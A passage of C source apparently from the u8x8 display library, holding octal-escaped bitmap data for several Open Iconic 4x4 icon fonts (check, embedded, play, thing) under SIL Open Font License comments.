"\0\0\0\0\360\360\360\360\360\360\340\300\200\0\0\0\0\0\0\0\0\200\300\340\360\360\360\360\377\376\374\370" "\370\360`\0\0\0\0\0\1\3\7\17\37\77\376\370\360\360\370\374~\77\17\7\3\1\0\0\17\7\3\1" "\1\0\0\0\0\0\0\0\200\300\340\360\374~\77\37\17\7\17\37\177\374\370\360\340\300\200\0\360\340\300\200" "\200\0\0\0\17\17\17\17\17\17\7\3\1\0\0\0\0\0\0\0\0\0\1\3\7\17\17\17\377\177\77\37" "\37\17\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\376\374\370\360\340\300\200" "\0\0\0\0\0\0\0\300\340\360\370\370\374\374\376\376\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\177>\34\10\300\374\77\37\17\7\7\3\1\1\1\0\0\0\0\0\0\0\0\0\177\77\37\17\7\3\1\0" "\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\376\377\377\377\17\17\17\17\17\17\17\17\0\0\200\300\300\340\340\340\360\360\360\360\376\374\370\360" "\340\340\300\200\377\377\377\377\0\0\0\0\0@\60\34\36\17\17\17\17\17\17\17\17\17\17\17\177\77\37\17" "\7\3\1\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0" "\0\0\0\0\7\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\7\0\0\0\0" "\0\0\0"; /* Fontname: open_iconic_check_4x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 5/5 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_check_4x4[644] U8X8_FONT_SECTION("u8x8_font_open_iconic_check_4x4") = "@D\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\340\300" "\200\0\0\0\0\0\200\300\340\360\340\300\200\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\177\77" "\37\17\6\0\2\7\17\37\77\177\377\377\377\377\376\374\376\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376\377\377\377\377\377\377\377\377\376\376\376\374\374\370\360\340" "\300\200\0\0\360\376\377\377\377\377\377\377\177\77\77\177\377\377\377\377\177\77\37\17\7\203\301\340\360\371\377\377" "\377\377\376\360\17\177\377\377\377\377\377\377\376\374\370\360\340\301\301\340\360\370\374\376\377\377\377\377\377\377\377\377" "\377\377\177\17\0\0\1\3\7\17\37\77\77\177\177\177\377\377\377\377\377\377\377\377\177\177\177\77\77\37\17\7" "\3\1\0\0\0\0\200\300\340\360\370\374\374\376\376\376\377\377\377\377\377\377\377\377\376\376\376\374\374\370\360\340" "\300\200\0\0\360\376\377\377\377\377\377\377\371\360\340\301\203\7\17\37\37\17\7\203\301\340\360\371\377\377\377\377" "\377\377\376\360\17\177\377\377\377\377\377\377\237\17\7\203\301\340\360\370\370\360\340\301\203\7\17\237\377\377\377\377" "\377\377\177\17\0\0\1\3\7\17\37\77\77\177\177\177\377\377\377\377\377\377\377\377\177\177\177\77\77\37\17\7" "\3\1\0\0\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\7\3\201\300\340\360\370\374\376" "~<\30\0\377\377\377\377\0\0\0\0\0\30<~\376\374\370\360\360\370\374\376\177\77\37\17\7\3\201\300" "\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\1\3\7\7\3\1\0\0\0\0\0\376\377\377\377" "\0\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\0\0\0\0 p\370\374\376\377\376\374\370\360\340\300\200\0\0\0\0\0\200\300\340\360\370\374\376\377\376\374" "\370\360`\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\376\374\376\377\377\377\377\377\177\77\37\17\7\3" "\1\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\177\77\77\177\377\377\377\377\376\374\370\360\340\300" "\200\0\0\0\2\7\17\37\77\177\177\77\37\17\7\3\1\0\0\0\0\0\0\1\3\7\17\37\77\177\177\77" "\37\17\6"; /* Fontname: open_iconic_embedded_4x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 17/17 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_embedded_4x4[2180] U8X8_FONT_SECTION("u8x8_font_open_iconic_embedded_4x4") = "@P\4\4\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\360\360\360\360\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\376\376\374\370\340\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\370\300\0\0" "\0\0\0\0\300\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376" "\374\370\360\300\0\0\0\0\0\0\0\0\0\0\0\0\60p\360\360\360\360p\60\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0@\340\360\370\360\360\340\340\340\360\376\377\377\377\377\376\360\340\340\340\360\360\370\360\340" "@\0\0\0\300\340\340\340\361\377\377\377\377\377\77\17\7\7\3\3\3\3\7\7\17\77\377\377\377\377\377\361" "\340\340\340\300\3\7\7\17\217\377\377\377\377\377\374\360\340\340\300\300\300\300\340\340\360\374\377\377\377\377\377\217" "\17\7\7\3\0\0\0\2\7\17\37\17\17\7\7\7\17\177\377\377\377\377\177\17\7\7\7\17\17\37\17\7" "\2\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\177\37\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\10\16\17\17\17\17\17\317\377\377\377\377\177\37\7\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\60\360\360\360\360\360\376\377\377\377\367\361p\60\20\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\370\370\374\376\377\377\376\374\370\370\360\340\300\300\200\0\0" "\0\0\0\0\0\10\14\16\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376" "\16\14\10\0\0\0\0\0\377\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30<~\376\374\370\360" "\340\300\200\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360\340\300\200\0\0\1\3\7" "\7\3\1\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\200\200\200\200\200\200\200\200\200\370\377\377\177\177\377\377\370\300\0\300\370\376\376\370\340\200\200\200" "\200\200\200\200\7\7\7\7\7\37\377\377\377\377\37\3\0\0\3\37\377\377\377\377\77\17\3\7\7\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\17\17\1\0\0\0\0\0\0\0\17\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\377\377\376\360\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\374\377\377\377\377\17\17\17\17\377\377\377\377\370\340\200\0\0\0\0\0" "\0\0\0\0\0\0\300\360\376\377\377\377\377\377\377\377\360\360\360\360\377\377\377\377\377\377\377\374\360\300\0\0" "\0\0\0\0\370\377\377\377\377\377\377\377\377\377\377\377\360\360\360\360\377\377\377\377\377\377\377\377\377\377\376\370" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\374\376\376\377\17\7\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\337\377\377\377\377\377\377\377\360\360\360\360\360\360\360\360" "\360\370|\36\0\0\0\200\300\340\360\370\374\376\377\377\377\377\177\77\37\17\7\17\17\17\17\17\17\7\7\3" "\3\1\0\0<~\347\303\303\347\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\360\360\360\360\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\376|\377\377\377\377\300\340\360\360y\77\77\37\17\17\6\0\0\0" "\0\0\0\0\0\0\0\0\0`\360\370|>\377\377\377\377\3\7\17\17\236\374\374\370\360\360`\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\177<\36\37\17\7\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376\377\377\377\377\17\17\17\37\36\36>|\374\370\360\340" "\300\200\0\0\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\1\3\37" "\377\377\376\360\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200\300\370" "\377\377\177\17\0\0\1\3\7\17\37\77\77\177\177\177\377\377\377\377\360\360\360\370xx|>\77\37\17\7" "\3\1\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\0\0\0\0\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177" "\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\371\360\360\371\377\377\377\377" "\0\0\0\0\0\0\0\0\200\300\300\340\340\360\360xx<<\36\36\17\17\206\200\300\300\200\0\0\0\0" "\0\0\0\0\0\0\0\0\203\303\303\341\341\360\360xx<<\36\36\17\17\207\207\303\303\201\0\0\0\0" "\0\0\0\0\0\0\0\0\3\3\3\1a\360\360\370\370\374\374\376\376\377\377\377\7\3\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360`\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\200\0\0\0\0\377\377\377\377\0\0\0\0\200\300\200\0\0\0\0\0" "\0\0\0\0\300\360\374\376\177\37\7\3\3\0\0\0\377\377\377\377\0\0\0\3\3\7\37\177\376\374\360\300" "\0\0\0\0\77\377\377\377\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\377\377\377\77" "\0\0\0\0\0\0\3\7\17\37><|x\370\360\360\360\360\360\360\370x|<>\37\17\7\3\0\0" "\0\0\0\0\0\0\200\300\340\360\370||>\36\36\17\17\17\17\17\17\17\37\36\36>|\370\370\360\360" "\370\374\376\376\360\376\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\10\14\16\17\17\17\17\17" "\17\17\17\17\17\177\377\377\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\1\3\7\17\37>>|xx\370\360\360\360\360\360\360\370xx|>>\34\10\0" "\0\0\0\0\20xx|<<\36\36\36\36\17\17\17\17\17\17\17\17\17\17\36\36\36\36<<|x" "x\20\0\0\0\0\0\0\0\0\0\300\340\340\340\360\360\360\360\360\360\360\360\340\340\340\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\1\1\1\0\0\0\0\0\0\1\1\1\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0<~\377\377\377\377~<\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: open_iconic_play_4x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 18/18 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_play_4x4[2308] U8X8_FONT_SECTION("u8x8_font_open_iconic_play_4x4") = "@Q\4\4\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\360\360\360\360\0\0\0\0\377\377\377\377\0\0\0\0\377\377\377\377\0\0\0\0\377\377\377\377" "\0\0\0\0\17\17\17\17\0\0\0\0\377\377\377\377\0\0\0\0\377\377\377\377\0\0\0\0\377\377\377\377" "\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\17\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\360\360\370\370\374\0\0\0\0\377\377\377\377" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\377\377\377\377" "\0\0\0\0\0\0\0\0\1\17\177\377\377\371\301\3\3\7\7\17\17\37\37\77\0\0\0\0\377\377\377\377" "\0\0\0\0\0\0\0\0\0\0\0\1\7\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\376\374\370\360\300\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\340\360\370\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\370\360\340\300" "\0\0\0\0\10\14\16\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\16\14\10\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\300\340\360\370|>\36\36\17\17\17\17\17\17\36\36>|\370\360\340\300\0" "\0\0\0\0\0\0\0\0\376\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\376" "\0\0\0\0\376\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\376\7\17\17\17\17\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\17\17" "\17\17\17\7\0\0\0\0\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\376\376\374\374\370\370\360\360\340\340\300\300\200\200\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\177\177\77\77\37\37\17\17\7\7\3\3\1\1\0" "\0\0\0\0\0\0\0\0\17\7\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\340\360\360\360\360\360\360\340\340\340\300\200\0\0\0\0" "\0\0\0\0\0\0\0\0\340\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\340" "\0\0\0\0\0\0\0\0\7\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\7" "\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\7\17\17\17\17\17\17\7\7\7\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\360\0\0\0\0\0\0\0\0\0\0\0\200" "\200\300\340\360\0\200\300\340\340\360\370\374\374\376\377\377\377\377\377\377\0\200\300\340\340\360\370\374\374\376\377\377" "\377\377\377\377\0\1\3\7\7\17\37\77\77\177\377\377\377\377\377\377\0\1\3\7\7\17\37\77\77\177\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\17\0\0\0\0\0\0\0\0\0\0\0\1" "\1\3\7\17\360\340\300\200\200\0\0\0\0\0\0\0\0\0\0\0\360\340\300\200\200\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\376\374\374\370\360\340\340\300\200\0\377\377\377\377\377\377\376\374\374\370\360\340" "\340\300\200\0\377\377\377\377\377\377\177\77\77\37\17\7\7\3\1\0\377\377\377\377\377\377\177\77\77\37\17\7" "\7\3\1\0\17\7\3\1\1\0\0\0\0\0\0\0\0\0\0\0\17\7\3\1\1\0\0\0\0\0\0\0" "\0\0\0\0\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\360" "\0\0\0\0\377\377\377\377\377\377\377\377\0\200\200\300\340\340\360\360\370\374\374\376\376\377\377\377\377\377\377\377" "\0\0\0\0\377\377\377\377\377\377\377\377\0\1\1\3\7\7\17\17\37\77\77\177\177\377\377\377\377\377\377\377" "\0\0\0\0\17\17\17\17\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\17" "\0\0\0\0\360\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360" "\0\0\0\0\377\377\377\377\377\377\377\376\376\374\374\370\360\360\340\340\300\200\200\0\377\377\377\377\377\377\377\377" "\0\0\0\0\377\377\377\377\377\377\377\177\177\77\77\37\17\17\7\7\3\1\1\0\377\377\377\377\377\377\377\377" "\0\0\0\0\17\7\3\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\376\377\377\377\377\376\374\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0~\377\377\376\200\0\0\0\77\177\377\377\377\377\177\77\0\0\0\200\376\377\377\376" "\0\0\0\0\0\0\0\0\0\3\7\17\37>|xx\360\360\360\360\360\360xx|>\37\17\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\360\377\377\377\377\360\360\360\360\340\300\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\360\370\370\374\374\374\374\376\376\376\376\376\376\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\3\3\1\1\1\1\1\1\1\0\0\0\0\0\0\0" "\377\377\377\377\0\300\340\340\360\360\360\360\377\377\377\377\0\0\0\0\0\0\0\0\360\374\376\376\377\377\377\377" "\377\377\377\377\17\77\177\177\377\377\377\377\177\177\77\17\0\0\0\0\0\0\0\0\0\3\7\7\17\17\17\17" "\7\7\3\0\0\0\200\300\340\360\370\374\374\376\376\376\377\377\377\377\377\377\377\377\376\376\376\374\374\370\360\340" "\300\200\0\0\360\376\377\377\377\377\377\377\377\377\377\377\0\1\3\3\7\17\17\37\77\77\177\377\377\377\377\377" "\377\377\376\360\17\177\377\377\377\377\377\377\377\377\377\377\0\200\300\300\340\360\360\370\374\374\376\377\377\377\377\377" "\377\377\177\17\0\0\1\3\7\17\37\77\77\177\177\177\377\377\377\377\377\377\377\377\177\177\177\77\77\37\17\7" "\3\1\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\377\377\377\0\0\0\0\360\360\360\340\340\340\300\200" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\360\360\340\301\1\3\7\37" "\377\376\374\340\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\17\17\7\203\200\300\340\370" "\377\177\77\7\0\0\0\0\0\0\0\0\1\3\17\37\177\377\377\377\0\0\0\0\17\17\17\7\7\7\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\360\360\340\300" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\17\17\7\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\177\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\177\377\377\377\0\0\0\0" "\0\0\0"; /* Fontname: open_iconic_thing_4x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 19/19 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_thing_4x4[2436] U8X8_FONT_SECTION("u8x8_font_open_iconic_thing_4x4") = "@R\4\4\0\0\0\0\0\0\0\0\0\200\300\360\370\374~\77\77~\374\370\360\300\200\0\0\0\0\0" "\0\0\0\0\360\360\360\360\360\360\374\376\377\377\377\363\361\360\360\360\360\360\360\361\363\377\377\377\376\374\360\360" "\360\360\360\360\0\0\0\0\377\377\377\377\37\17\17\37\377\377\377\377\377\377\377\377\37\17\17\37\377\377\377\377" "\0\0\0\0\0\0\0\0\377\377\377\377\370\360\360\370\377\377\377\377\377\377\377\377\370\360\360\370\377\377\377\377" "\0\0\0\0\0\0\0\0\0\0\0\0\374\376\377\377\17\17\17\17\17\17\17\17\377\377\376\374\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\7\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\17\7\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\360\377\377\377\377\17\17\17\17\377\377\377\377\17\17\17\17\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\374\376\376\377\77\37\17\17\17\16\36<" "\374\370\340\200\0\0\0\0\0\0\0\0\200\300\340\360\377\377\377\377\377\377\377\377\374\370\360\360\360\360\370\374" "\377\377\177\37\0\200\300\340\360\370\376\377\377\377\377\377\377\377\377\377\377\377\377\377\17\17\17\17\17\7\7\3" "\3\1\0\0\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376>\37\17\17\17\17\37>\376\374\370\340\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374~>\37\17\17\17\17\37>\376\374\370\340" "\0\0\0\0\0\0\300\340\360\370\374~\77\237\317\347\343\301\200\0\0\0\200\300\340\360\370\374\177\77\37\7" "\0\0\0\0\374\377\377\377\3\1\0<~\377\377\347\343\361\370|>\77\237\317\347\303\201\0\0\0\0\0" "\0\0\0\0\0\3\17\37\77>|x\360\360\361\361\361\361x|>\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0<\376\377\377\377\377\376<\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377~~\377\377" "\377\377~<\377\377\377\377\377\377\377\377\303\1\0\0\0\0\1\303\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360\370\374\374" "~\77\16\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34>~\377\377\377\377\177\77\37\7\3\0" "\0\0\0\0\0\0\0\0\0\360\374\376\377\377\377\377\377\376\374\370\0\0\0\3\3\1\0\0\0\0\0\0" "\0\0\0\0@@\340\370\374\377\377\377\177\177\177\77\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\370\376\376\376\374\370\360\340\300\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\360\370\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\370\360\300\0" "\0\0\0\0\0\0\0\0\376\377\377\377\17\7\7\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376" "\0\0\0\0\0\0\0\0\0\7\17\37\77|\370\370\360\360\341\341\341\363\377\377\377\177\177\77\37\17\7\0" "\0\0\0\0\0\0\0\0\340\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\340" "\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\0\0\0\0\360\360\360\360\377\377\377\377\360\360\360\360\0\0\0\0\0\0\0\0\360\360\360\360\377\377\377\377" "\360\360\360\360\7\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\17\7\0\0\300\340\360\370|<>\36\37\17\17\17\17\17\17\37\36><|\370\360\340\300\0\0" "\0\0\0\0\374\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\377\377\377\374" "\0\0\0\0\3\17\77\177\376\370\340\300\300\200\200\0\0\0\0\0\0\200\200\300\300\340\370\376\377\377\357\303" "\200\0\0\0\0\0\0\0\0\1\3\3\7\7\17\17\17\17\17\17\17\17\7\7\7\7\17\37\77\177\377\377" "\377\377\376|\0\0\0\0\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\347\303\303\347\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\200\300\340\360\360\360\360\360\360\360\360\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" 